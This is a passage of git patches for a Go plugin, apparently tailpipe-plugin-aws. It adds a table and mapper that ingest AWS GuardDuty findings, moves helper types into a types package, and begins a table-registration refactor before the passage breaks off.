h1:Y/SmAyPcOTmpeVaWSzSKiILfXTVJwrGmYZhcRbhWuEY= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.22 h1:981MHwBaRZM7+9QSR6XamDzF/o7ouUGxFzr+nVSIhrs= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.22/go.mod h1:1RA1+aBEfn+CAB/Mh0MB6LsdCYCnjZm7tKXtnk499ZQ= github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 h1:hT8rVHwugYE2lEfdFE0QWVo81lF7jMrYJVDWI+f+VxU= github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0/go.mod h1:8tu/lYfQfFe6IGnaOdrpVgEL2IrrDOf6/m9RQum4NkY= github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.15 h1:Z5r7SycxmSllHYmaAZPpmN8GviDrSGhMS6bldqtXZPw= github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.15/go.mod h1:CetW7bDE00QoGEmPUoZuRog07SGVAUVW6LFpNP0YfIg= github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs v1.37.3 h1:pnvujeesw3tP0iDLKdREjPAzxmPqC8F0bov77VN2wSk= github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs v1.37.3/go.mod h1:eJZGfJNuTmvBgiy2O5XIPlHMBi4GUYoJoKZ6U6wCVVk= +github.com/aws/aws-sdk-go-v2/service/guardduty v1.50.1 h1:0A05jzCVA6W/UFqdtpKm8KXE8QhcEn/Fn01Zxsq2Owg= +github.com/aws/aws-sdk-go-v2/service/guardduty v1.50.1/go.mod h1:tfpIzAIeMtSUucGN87ZUA2u5Lqnc04ManYSk3smJpGc= github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.3 h1:dT3MqvGhSoaIhRseqw2I0yH81l7wiR2vjs57O51EAm8= github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.3/go.mod h1:GlAeCkHwugxdHaueRr4nhPuY+WW+gR8UjlcqzPr1SPI= github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.17 h1:YPYe6ZmvUfDDDELqEKtAd6bo8zxhkm+XEFEzQisqUIE= @@ -250,8 +252,8 @@ github.com/aws/aws-sdk-go-v2/service/ssooidc v1.26.4 h1:yiwVzJW2ZxZTurVbYWA7QOrA github.com/aws/aws-sdk-go-v2/service/ssooidc v1.26.4/go.mod h1:0oxfLkpz3rQ/CHlx5hB7H69YUpFiI1tql6Q6Ne+1bCw= github.com/aws/aws-sdk-go-v2/service/sts v1.30.3 h1:ZsDKRLXGWHk8WdtyYMoGNO7bTudrvuKpDKgMVRlepGE= github.com/aws/aws-sdk-go-v2/service/sts v1.30.3/go.mod h1:zwySh8fpFyXp9yOr/KVzxOl8SRqgf/IDw5aUt9UKFcQ= -github.com/aws/smithy-go v1.20.3 h1:ryHwveWzPV5BIof6fyDvor6V3iUL7nTfiTKXHiW05nE= -github.com/aws/smithy-go v1.20.3/go.mod h1:krry+ya/rV9RDcV/Q16kpu6ypI4K2czasz0NC3qS14E= +github.com/aws/smithy-go v1.22.0 h1:uunKnWlcoL3zO7q+gG2Pk53joueEOsnNB28QdMsmiMM= +github.com/aws/smithy-go v1.22.0/go.mod h1:irrKGvNn1InZwb2d7fkIRNucdfwR8R+Ts3wxYa/cJHg= github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d h1:xDfNPAt8lFiC1UJrqV3uuy861HCTo708pDMbjHHdCas= github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d/go.mod h1:6QX/PXZ00z/TKoufEY6K/a0k6AhaJrQKdFe6OfVXsa4= github.com/bgentry/speakeasy v0.1.0 h1:ByYyxL9InA1OWqxJqqp2A5pYHUrCiAL6K3J+LKSsQkY= @@ -599,8 +601,8 @@ github.com/sagikazarmark/locafero v0.4.0 h1:HApY1R9zGo4DBgr7dqsTH/JJxLTTsOt7u6ke github.com/sagikazarmark/locafero v0.4.0/go.mod h1:Pe1W6UlPYUk/+wc/6KFhbORCfqzgYEpgQ3O5fPuL3H4= github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE= github.com/sagikazarmark/slog-shim v0.1.0/go.mod h1:SrcSrq8aKtyuqEI1uvTDTK1arOWRIczQRv+GVI1AkeQ= -github.com/satyrius/gonx v1.4.0/go.mod h1:+r8KNe5d2tjkZU+DfhERo0G6KxkGih+1qYF6tqLHwvk= github.com/satyrius/gonx v1.4.0 h1:F3uxif5Yx6FBzdQAh79bHQK6CTJugOcN0w0Z8azQuQg= +github.com/satyrius/gonx v1.4.0/go.mod h1:+r8KNe5d2tjkZU+DfhERo0G6KxkGih+1qYF6tqLHwvk= github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02 h1:v9ezJDHA1XGxViAUSIoO/Id7Fl63u6d0YmsAm+/p2hs= github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02/go.mod h1:RF16/A3L0xSa0oSERcnhd8Pu3IXSDZSK2gmGIMsttFE= github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= diff --git a/mappers/guardduty_mapper.go b/mappers/guardduty_mapper.go new file mode 100644 index 00000000..80f9b541 --- /dev/null +++ b/mappers/guardduty_mapper.go @@ -0,0 +1,148 @@ +package mappers + +import ( + "context" + "encoding/json" + "fmt" + "log/slog" + "time" + + "github.com/aws/aws-sdk-go-v2/service/guardduty/types" + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/table" +) + +// GuardDutyMapper is a mapper that receives GuardDutyBatch objects and extracts GuardDutyFinding records from them +type GuardDutyMapper struct { +} + +// NewGuardDutyMapper creates a new GuardDutyMapper +func NewGuardDutyMapper() table.Mapper[rows.GuardDutyFinding] { + return &GuardDutyMapper{} +} + +func (g *GuardDutyMapper) Identifier() string { + return "guardduty_mapper" +} + +// Map casts the data item as a GuardDutyBatch and returns the GuardDutyFinding records +func (g *GuardDutyMapper) Map(_ context.Context, a any) ([]rows.GuardDutyFinding, error) { + var jsonBytes []byte + // The expected input type is a JSON byte[] deserializable to GuardDutyBatch + switch v := a.(type) { + + case []byte: + jsonBytes = v + case string: + jsonBytes = []byte(v) + default: + return nil, fmt.Errorf("expected byte[] or string, got %T", a) + } + // Decode JSON into a slice of AWS SDK `types.Finding` + var finding types.Finding + err := json.Unmarshal(jsonBytes, &finding) + if err != nil { + return nil, fmt.Errorf("error decoding JSON to findings: %w", err) + } + + // Populate `GuardDutyFinding` instance with values from `types.Finding` + row := rows.GuardDutyFinding{ + AccountId: finding.AccountId, + Arn: finding.Arn, + Description: finding.Description, + Id: finding.Id, + Partition: finding.Partition, + Region: finding.Region, + ResourceType: finding.Resource.ResourceType, + SchemaVersion: finding.SchemaVersion, + Archived: finding.Service.Archived, + Count: finding.Service.Count, + DetectorId: finding.Service.DetectorId, + ResourceRole: finding.Service.ResourceRole, + ServiceName: finding.Service.ServiceName, + Severity: finding.Severity, + Title: finding.Title, + Type: finding.Type, + UpdatedAt: finding.UpdatedAt, + } + if finding.Service.Action != nil { + if finding.Service.Action.ActionType != nil { + row.ActionType = finding.Service.Action.ActionType + } + if finding.Service.Action.AwsApiCallAction != nil { + if finding.Service.Action.AwsApiCallAction.Api != nil { + row.Api = finding.Service.Action.AwsApiCallAction.Api + } + if finding.Service.Action.AwsApiCallAction.CallerType != nil { + row.CallerType = finding.Service.Action.AwsApiCallAction.CallerType + } + if finding.Service.Action.AwsApiCallAction.ErrorCode != nil { + row.ErrorCode = finding.Service.Action.AwsApiCallAction.ErrorCode + } + if finding.Service.Action.AwsApiCallAction.RemoteIpDetails != nil { + if finding.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV4 != nil { + row.IpAddressV4 = finding.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV4 + } + if finding.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV6 != nil { + row.IpAddressV6 = finding.Service.Action.AwsApiCallAction.RemoteIpDetails.IpAddressV6 + } + } + } + } + + // Parse `CreatedAt` if it's provided + if finding.CreatedAt != nil { + createdAt, err := time.Parse(time.RFC3339, *finding.CreatedAt) + if err == nil { + row.CreatedAt = createdAt + } else { + slog.Warn("GuardDutyMapper", "error parsing CreatedAt", err) + } + } + + // Parse `EventFirstSeen` and `EventLastSeen` + if finding.Service.EventFirstSeen != nil { + row.EventFirstSeen = finding.Service.EventFirstSeen + } + if finding.Service.EventLastSeen != nil { + row.EventLastSeen = finding.Service.EventLastSeen + } + + // Extract other nested fields if available + if finding.Resource.AccessKeyDetails != nil { + row.AccessKeyId = finding.Resource.AccessKeyDetails.AccessKeyId + row.PrincipalId = finding.Resource.AccessKeyDetails.PrincipalId + row.UserName = finding.Resource.AccessKeyDetails.UserName + row.UserType = finding.Resource.AccessKeyDetails.UserType + } + + if finding.Resource.InstanceDetails != nil { + row.AvailabilityZone = finding.Resource.InstanceDetails.AvailabilityZone + row.InstanceArn = finding.Resource.InstanceDetails.IamInstanceProfile.Arn + row.ImageDescription = finding.Resource.InstanceDetails.ImageDescription + row.ImageId = finding.Resource.InstanceDetails.ImageId + row.InstanceId = finding.Resource.InstanceDetails.InstanceId + row.InstanceState = finding.Resource.InstanceDetails.InstanceState + row.InstanceType = finding.Resource.InstanceDetails.InstanceType + row.OutpostArn = finding.Resource.InstanceDetails.OutpostArn + row.LaunchTime = finding.Resource.InstanceDetails.LaunchTime + + // Network details + if len(finding.Resource.InstanceDetails.NetworkInterfaces) > 0 { + ni := finding.Resource.InstanceDetails.NetworkInterfaces[0] + row.NetworkInterfaceId = *ni.NetworkInterfaceId + row.PrivateDnsName = *ni.PrivateDnsName + row.PrivateIpAddress = *ni.PrivateIpAddress + row.PublicDnsName = *ni.PublicDnsName + row.PublicIp = *ni.PublicIp + row.VpcId = *ni.VpcId + row.SubnetId = *ni.SubnetId + + if len(ni.SecurityGroups) > 0 { + row.GroupId = *ni.SecurityGroups[0].GroupId + row.GroupName = *ni.SecurityGroups[0].GroupName + } + } + } + return []rows.GuardDutyFinding{row}, nil +} diff --git a/rows/guardduty_finding.go b/rows/guardduty_finding.go new file mode 100644 index 00000000..da78295f --- /dev/null +++ b/rows/guardduty_finding.go @@ -0,0 +1,68 @@ +package rows + +import ( + "time" + + "github.com/turbot/tailpipe-plugin-sdk/enrichment" +) + +type GuardDutyBatch struct { + Records []GuardDutyFinding `json:"Records"` +} + +type GuardDutyFinding struct { + enrichment.CommonFields + + AccountId *string `json:"accountId"` + Arn *string `json:"arn"` + CreatedAt time.Time `json:"createdAt"` + Description *string `json:"description"` + Id *string `json:"id"` + Partition *string `json:"partition"` + Region *string `json:"region"` + AccessKeyId *string `json:"accessKeyId"` + PrincipalId *string `json:"principalId"` + UserName *string `json:"userName"` + UserType *string `json:"userType"` + AvailabilityZone *string `json:"availabilityZone"` + InstanceArn *string `json:"instanceArn"` + ImageDescription *string `json:"imageDescription"` + ImageId *string `json:"imageId"` + InstanceId *string `json:"instanceId"` + InstanceState *string `json:"instanceState"` + InstanceType *string `json:"instanceType"` + OutpostArn *string `json:"outpostArn"` + LaunchTime *string `json:"launchTime"` + Ipv6Addresses []string `json:"ipv6Addresses"` + NetworkInterfaceId string `json:"networkInterfaceId"` + PrivateDnsName string `json:"privateDnsName"` + PrivateIpAddress string `json:"privateIpAddress"` + PublicDnsName string `json:"publicDnsName"` + PublicIp string `json:"publicIp"` + GroupId string `json:"groupId"` + GroupName string `json:"groupName"` + SubnetId string `json:"subnetId"` + VpcId string `json:"vpcId"` + Platform *string `json:"platform,omitempty"` + Code string `json:"code"` + ProductType string `json:"productType"` + ResourceType *string `json:"resourceType"` + SchemaVersion *string `json:"schemaVersion"` + ActionType *string `json:"actionType"` + Api *string `json:"api"` + CallerType *string `json:"callerType"` + ErrorCode *string `json:"errorCode"` + IpAddressV4 *string `json:"ipAddressV4"` + IpAddressV6 *string `json:"ipAddressV6,omitempty"` + Archived *bool `json:"archived"` + Count *int32 `json:"count"` + DetectorId *string `json:"detectorId"` + EventFirstSeen *string `json:"eventFirstSeen"` + EventLastSeen *string `json:"eventLastSeen"` + ResourceRole *string `json:"resourceRole"` + ServiceName *string `json:"serviceName"` + Severity *float64 `json:"severity"` + Title *string `json:"title"` + Type *string `json:"type"` + UpdatedAt *string `json:"updatedAt"` +} diff --git a/tables/guard_duty_finding_table_config.go b/tables/guard_duty_finding_table_config.go new file mode 100644 index 00000000..ca6f86ad --- /dev/null +++ b/tables/guard_duty_finding_table_config.go @@ -0,0 +1,7 @@ +package tables + +type GuardDutyFindingTableConfig struct{} + +func (c *GuardDutyFindingTableConfig) Validate() error { + return nil +} \ No newline at end of file diff --git a/tables/guardduty_finding_table.go b/tables/guardduty_finding_table.go new file mode 100644 index 00000000..abec817a --- /dev/null +++ b/tables/guardduty_finding_table.go @@ -0,0 +1,85 @@ +package tables + +import ( + "context" + "time" + + "github.com/rs/xid" + "github.com/turbot/pipe-fittings/utils" + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/mappers" + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/parse" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" + "github.com/turbot/tailpipe-plugin-sdk/types" +) + +// GuardDutyFindingTable - table for GuardDuty Findings +type GuardDutyFindingTable struct { + table.TableImpl[rows.GuardDutyFinding, *GuardDutyFindingTableConfig, *config.AwsConnection] +} + +func NewGuardDutyFindingTable() table.Table { + return &GuardDutyFindingTable{} +} + +func (c *GuardDutyFindingTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { + if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { + return err + } + c.initMapper() + return nil +} + +func (c *GuardDutyFindingTable) initMapper() { + c.Mapper = mappers.NewGuardDutyMapper() +} + +func (c *GuardDutyFindingTable) Identifier() string { + return "aws_guardduty_finding" +} + +func (c *GuardDutyFindingTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { + var opts []row_source.RowSourceOption + switch sourceType { + case artifact_source.AwsS3BucketSourceIdentifier: + defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ + FileLayout: utils.ToStringPointer("AWSLogs/[0-9]+/GuardDuty/[a-z0-9-]+/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/[0-9a-fA-F-]+\\.jsonl\\.gz"), + } + opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig),artifact_source.WithRowPerLine()) + } + return opts +} + +func (c *GuardDutyFindingTable) GetRowSchema() any { + return rows.GuardDutyFinding{} +} + +func (c *GuardDutyFindingTable) GetConfigSchema() parse.Config { + return &GuardDutyFindingTableConfig{} +} + +func (c *GuardDutyFindingTable) EnrichRow(row rows.GuardDutyFinding, sourceEnrichmentFields *enrichment.CommonFields) (rows.GuardDutyFinding, error) { + if sourceEnrichmentFields != nil { + row.CommonFields = *sourceEnrichmentFields + } + row.TpID = xid.New().String() + row.TpSourceType = "aws_guardduty_finding" + row.TpTimestamp = row.CreatedAt + row.TpIngestTimestamp = time.Now() + + if row.IpAddressV4 != nil { + if row.IpAddressV4 != nil { + row.TpIps = append(row.TpIps, *row.IpAddressV4) + } + } + + row.TpIndex = *row.AccountId + row.TpDate = row.CreatedAt.Format("2006-01-02") + + return row, nil +} \ No newline at end of file From 1b1b2616abe32c4f8d975b9b668ab49545899f80 Mon Sep 17 00:00:00 2001 From: kai Date: Tue, 12 Nov 2024 14:55:02 +0700 Subject: [PATCH 080/180] move TimeMillis, UnixMillis, JSONString from helpers to types --- mappers/securityhub_finding_mapper.go | 4 +- rows/cloudtrail.go | 66 +++++++++++++-------------- rows/securityhub_finding_log.go | 20 ++++---- rows/waf_traffic_log.go | 42 ++++++++--------- tables/vpc_flow_log_table.go | 3 +- 5 files changed, 67 insertions(+), 68 deletions(-) diff --git a/mappers/securityhub_finding_mapper.go b/mappers/securityhub_finding_mapper.go index 6abf7729..2263f32e 100644 --- a/mappers/securityhub_finding_mapper.go +++ b/mappers/securityhub_finding_mapper.go @@ -6,8 +6,8 @@ import ( "fmt" "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/table" + "github.com/turbot/tailpipe-plugin-sdk/types" ) type SecurityHubFindingsMapper struct { @@ -46,7 +46,7 @@ func (m *SecurityHubFindingsMapper) Map(_ context.Context, a any) ([]rows.Securi return nil, fmt.Errorf("error marshalling row data: %w", err) } - dataJsonString := helpers.JSONString(s) + dataJsonString := types.JSONString(s) b.DetailFindings = &dataJsonString return []rows.SecurityHubFindingLog{b}, nil diff --git a/rows/cloudtrail.go b/rows/cloudtrail.go index e61d03cf..41ef4787 100644 --- a/rows/cloudtrail.go +++ b/rows/cloudtrail.go @@ -4,7 +4,7 @@ import ( "time" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/types" ) type CloudTrailBatch struct { @@ -15,35 +15,35 @@ type CloudTrailLog struct { // embed required enrichment fields (be sure to skip in parquet) enrichment.CommonFields - AdditionalEventData *helpers.JSONString `json:"additionalEventData,omitempty"` - APIVersion *string `json:"apiVersion,omitempty"` - AwsRegion string `json:"awsRegion"` - ErrorCode *string `json:"errorCode,omitempty"` - ErrorMessage *string `json:"errorMessage,omitempty"` - EventID string `json:"eventID"` - EventName string `json:"eventName"` - EventSource string `json:"eventSource"` - EventTime *time.Time `json:"eventTime"` - EventType string `json:"eventType"` - EventVersion string `json:"eventVersion"` - ManagementEvent *bool `json:"managementEvent,omitempty" ` - ReadOnly *bool `json:"readOnly,omitempty"` - RecipientAccountId string `json:"recipientAccountId,omitempty" ` - RequestID *string `json:"requestID,omitempty" ` - RequestParameters *helpers.JSONString `json:"requestParameters,omitempty" ` - Resources []*Resource `json:"resources,omitempty" ` - ResponseElements *helpers.JSONString `json:"responseElements,omitempty" ` - ServiceEventDetails *helpers.JSONString `json:"serviceEventDetails,omitempty"` - SharedEventID *string `json:"sharedEventID,omitempty"` - SourceIPAddress *string `json:"sourceIPAddress,omitempty"` - UserAgent *string `json:"userAgent,omitempty"` - UserIdentity UserIdentity `json:"userIdentity"` - VpcEndpointId string `json:"vpcEndpointId,omitempty"` - EventCategory string `json:"eventCategory,omitempty"` + AdditionalEventData *types.JSONString `json:"additionalEventData,omitempty"` + APIVersion *string `json:"apiVersion,omitempty"` + AwsRegion string `json:"awsRegion"` + ErrorCode *string `json:"errorCode,omitempty"` + ErrorMessage *string `json:"errorMessage,omitempty"` + EventID string `json:"eventID"` + EventName string `json:"eventName"` + EventSource string `json:"eventSource"` + EventTime *time.Time `json:"eventTime"` + EventType string `json:"eventType"` + EventVersion string `json:"eventVersion"` + ManagementEvent *bool `json:"managementEvent,omitempty" ` + ReadOnly *bool `json:"readOnly,omitempty"` + RecipientAccountId string `json:"recipientAccountId,omitempty" ` + RequestID *string `json:"requestID,omitempty" ` + RequestParameters *types.JSONString `json:"requestParameters,omitempty" ` + Resources []*Resource `json:"resources,omitempty" ` + ResponseElements *types.JSONString `json:"responseElements,omitempty" ` + ServiceEventDetails *types.JSONString `json:"serviceEventDetails,omitempty"` + SharedEventID *string `json:"sharedEventID,omitempty"` + SourceIPAddress *string `json:"sourceIPAddress,omitempty"` + UserAgent *string `json:"userAgent,omitempty"` + UserIdentity UserIdentity `json:"userIdentity"` + VpcEndpointId string `json:"vpcEndpointId,omitempty"` + EventCategory string `json:"eventCategory,omitempty"` // TODO - this looks like a bool, but is in the JSON as a string ... should we convert it? - SessionCredentialFromConsole *string `json:"sessionCredentialFromConsole,omitempty"` - EdgeDeviceDetails *helpers.JSONString `json:"edgeDeviceDetails,omitempty"` - TLSDetails *TLSDetails `json:"tlsDetails,omitempty"` + SessionCredentialFromConsole *string `json:"sessionCredentialFromConsole,omitempty"` + EdgeDeviceDetails *types.JSONString `json:"edgeDeviceDetails,omitempty"` + TLSDetails *TLSDetails `json:"tlsDetails,omitempty"` } type UserIdentity struct { @@ -72,8 +72,8 @@ type SessionContext struct { } type SessionAttributes struct { - MfaAuthenticated *string `json:"mfaAuthenticated,omitempty"` - CreationDate *helpers.UnixMillis `json:"creationDate,omitempty"` + MfaAuthenticated *string `json:"mfaAuthenticated,omitempty"` + CreationDate *types.UnixMillis `json:"creationDate,omitempty"` } type SessionIssuer struct { @@ -85,8 +85,8 @@ type SessionIssuer struct { } type WebIdFederationData struct { - FederatedProvider *string `json:"federatedProvider,omitempty"` - Attributes *helpers.JSONString `json:"attributes,omitempty"` + FederatedProvider *string `json:"federatedProvider,omitempty"` + Attributes *types.JSONString `json:"attributes,omitempty"` } type TLSDetails struct { diff --git a/rows/securityhub_finding_log.go b/rows/securityhub_finding_log.go index 75d1948e..2b044eef 100644 --- a/rows/securityhub_finding_log.go +++ b/rows/securityhub_finding_log.go @@ -4,20 +4,20 @@ import ( "time" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/types" ) type SecurityHubFindingLog struct { enrichment.CommonFields // Top level fields - Version *string `json:"version,omitempty"` - ID *string `json:"id,omitempty"` - DetailType *string `json:"detail-type,omitempty"` - Source *string `json:"source,omitempty"` - Account *string `json:"account,omitempty"` - Time *time.Time `json:"time,omitempty"` - Region *string `json:"region,omitempty"` - Resources []*string `json:"resources,omitempty"` - DetailFindings *helpers.JSONString `json:"detail"` + Version *string `json:"version,omitempty"` + ID *string `json:"id,omitempty"` + DetailType *string `json:"detail-type,omitempty"` + Source *string `json:"source,omitempty"` + Account *string `json:"account,omitempty"` + Time *time.Time `json:"time,omitempty"` + Region *string `json:"region,omitempty"` + Resources []*string `json:"resources,omitempty"` + DetailFindings *types.JSONString `json:"detail"` } diff --git a/rows/waf_traffic_log.go b/rows/waf_traffic_log.go index 2bb981aa..290d4928 100644 --- a/rows/waf_traffic_log.go +++ b/rows/waf_traffic_log.go @@ -4,7 +4,7 @@ import ( "time" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/types" ) // Define a nested struct for httpRequest headers @@ -15,30 +15,30 @@ type Header struct { // Define a nested struct for the httpRequest field type HttpRequest struct { - ClientIp *string `json:"client_ip,omitempty"` - Country *string `json:"country,omitempty"` - Headers *helpers.JSONString `json:"headers,omitempty"` - Uri *string `json:"uri,omitempty"` - Args *string `json:"args,omitempty"` - HttpVersion *string `json:"http_version,omitempty"` - HttpMethod *string `json:"http_method,omitempty"` - RequestId *string `json:"request_id,omitempty"` + ClientIp *string `json:"client_ip,omitempty"` + Country *string `json:"country,omitempty"` + Headers *types.JSONString `json:"headers,omitempty"` + Uri *string `json:"uri,omitempty"` + Args *string `json:"args,omitempty"` + HttpVersion *string `json:"http_version,omitempty"` + HttpMethod *string `json:"http_method,omitempty"` + RequestId *string `json:"request_id,omitempty"` } // WafTrafficLog struct with fields aligned to the provided JSON type WafTrafficLog struct { enrichment.CommonFields - Timestamp *time.Time `json:"timestamp,omitempty"` - FormatVersion *int32 `json:"format_version,omitempty"` - WebAclId *string `json:"web_acl_id,omitempty"` - TerminatingRuleId *string `json:"terminating_rule_id,omitempty"` - TerminatingRuleType *string `json:"terminating_rule_type,omitempty"` - Action *string `json:"action,omitempty"` - HttpSourceName *string `json:"http_source_name,omitempty"` - HttpSourceId *string `json:"http_source_id,omitempty"` - RuleGroupList []string `json:"rule_group_list,omitempty"` - RateBasedRuleList []string `json:"rate_based_rule_list,omitempty"` - NonTerminatingMatchingRules []string `json:"non_terminating_matching_rules,omitempty"` - HttpRequest *helpers.JSONString `json:"http_request,omitempty"` + Timestamp *time.Time `json:"timestamp,omitempty"` + FormatVersion *int32 `json:"format_version,omitempty"` + WebAclId *string `json:"web_acl_id,omitempty"` + TerminatingRuleId *string `json:"terminating_rule_id,omitempty"` + TerminatingRuleType *string `json:"terminating_rule_type,omitempty"` + Action *string `json:"action,omitempty"` + HttpSourceName *string `json:"http_source_name,omitempty"` + HttpSourceId *string `json:"http_source_id,omitempty"` + RuleGroupList []string `json:"rule_group_list,omitempty"` + RateBasedRuleList []string `json:"rate_based_rule_list,omitempty"` + NonTerminatingMatchingRules []string `json:"non_terminating_matching_rules,omitempty"` + HttpRequest *types.JSONString `json:"http_request,omitempty"` } diff --git a/tables/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go index aad82e0d..06288e0c 100644 --- a/tables/vpc_flow_log_table.go +++ b/tables/vpc_flow_log_table.go @@ -9,7 +9,6 @@ import ( "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/table" "github.com/turbot/tailpipe-plugin-sdk/types" @@ -90,7 +89,7 @@ func (c *VPCFlowLogLogTable) EnrichRow(row *rows.VpcFlowLog, sourceEnrichmentFie row.TpDate = time.UnixMilli(*row.Start).Format("2006-01-02") //convert from unis seconds to milliseconds - row.TpTimestamp = time.Unix(0, int64(helpers.UnixMillis(*row.Start*1000))*int64(time.Millisecond)) + row.TpTimestamp = time.Unix(0, int64(*row.Start*1000)*int64(time.Millisecond)) } //row.TpAkas = ??? From 49dd20dcfa6e6447a2231d9d506f31f96cff95f9 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 13 Nov 2024 12:29:36 +0700 Subject: [PATCH 081/180] tables and sources must now register themselves table ctors now return enricher[R], allowing compile time validation validate enriched rows have required fields --- aws/plugin.go | 23 +- mappers/cloudtrail_mapper.go | 8 +- mappers/cost_usage_mapper.go | 8 +- mappers/guardduty_mapper.go | 8 +- mappers/securityhub_finding_mapper.go | 6 +- mappers/waf_mapper.go | 7 +- rows/cloudtrail.go | 6 +- rows/vpc_flow_log.go | 3 +- tables/alb_access_log_table.go | 17 +- tables/cloudtrail_log_table.go | 13 +- tables/cost_usage_log_table.go | 13 +- ...nfig.go => cost_usage_log_table_config.go} | 0 tables/elb_access_log_table.go | 9 +- tables/guardduty_finding_table.go | 17 +- ...g.go => guardduty_finding_table_config.go} | 2 +- tables/lambda_log_table.go | 205 ++++++++---------- tables/s3_server_access_log_table.go | 11 +- tables/securityhub_finding_log_table.go | 14 +- tables/vpc_flow_log_table.go | 9 +- tables/waf_traffic_log_table.go | 14 +- 20 files changed, 207 insertions(+), 186 deletions(-) rename tables/{cost_and_usage_log_table_config.go => cost_usage_log_table_config.go} (100%) rename tables/{guard_duty_finding_table_config.go => guardduty_finding_table_config.go} (98%) diff --git a/aws/plugin.go b/aws/plugin.go index 58659b81..109fd970 100755 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -3,9 +3,10 @@ package aws import ( "github.com/turbot/go-kit/helpers" "github.com/turbot/tailpipe-plugin-aws/config" - "github.com/turbot/tailpipe-plugin-aws/tables" "github.com/turbot/tailpipe-plugin-sdk/plugin" "github.com/turbot/tailpipe-plugin-sdk/table" + // reference the table package to ensure that the tables are registered by the init functions + _ "github.com/turbot/tailpipe-plugin-aws/tables" ) type Plugin struct { @@ -19,27 +20,13 @@ func NewPlugin() (_ plugin.TailpipePlugin, err error) { } }() + //fmt.Println(tables.AlbAccessLogTable{}) p := &Plugin{ PluginImpl: plugin.NewPluginImpl("aws", config.NewAwsConnection), } - // register the tables that we provide - resources := &plugin.ResourceFunctions{ - Tables: []func() table.Table{ - tables.NewCloudTrailLogTable, - tables.NewVPCFlowLogLogTable, - tables.NewElbAccessLogTable, - tables.NewS3ServerAccessLogTable, - tables.NewLambdaLogTable, - tables.NewGuardDutyFindingTable, - tables.NewSecurityHubFindingLogTable, - tables.NewWafTrafficLogTable, - tables.NewAlbAccessLogTable, - tables.NewCCostAndUsageLogTable, - }, - } - - if err := p.RegisterResources(resources); err != nil { + // initialise table factory + if err := table.Factory.Init(); err != nil { return nil, err } diff --git a/mappers/cloudtrail_mapper.go b/mappers/cloudtrail_mapper.go index aaab33b6..a5def901 100644 --- a/mappers/cloudtrail_mapper.go +++ b/mappers/cloudtrail_mapper.go @@ -15,7 +15,7 @@ type CloudtrailMapper struct { } // NewCloudtrailMapper creates a new CloudtrailMapper -func NewCloudtrailMapper() table.Mapper[rows.CloudTrailLog] { +func NewCloudtrailMapper() table.Mapper[*rows.CloudTrailLog] { return &CloudtrailMapper{} } @@ -24,7 +24,7 @@ func (c *CloudtrailMapper) Identifier() string { } // Map casts the data item as an CloudTrailBatch and returns the CloudTrailLog records -func (c *CloudtrailMapper) Map(_ context.Context, a any) ([]rows.CloudTrailLog, error) { +func (c *CloudtrailMapper) Map(_ context.Context, a any) ([]*rows.CloudTrailLog, error) { // the expected input type is a JSON byte[] deserializable to CloudTrailBatch jsonBytes, ok := a.([]byte) if !ok { @@ -39,9 +39,9 @@ func (c *CloudtrailMapper) Map(_ context.Context, a any) ([]rows.CloudTrailLog, } slog.Debug("CloudwatchMapper", "record count", len(log.Records)) - var res = make([]rows.CloudTrailLog, len(log.Records)) + var res = 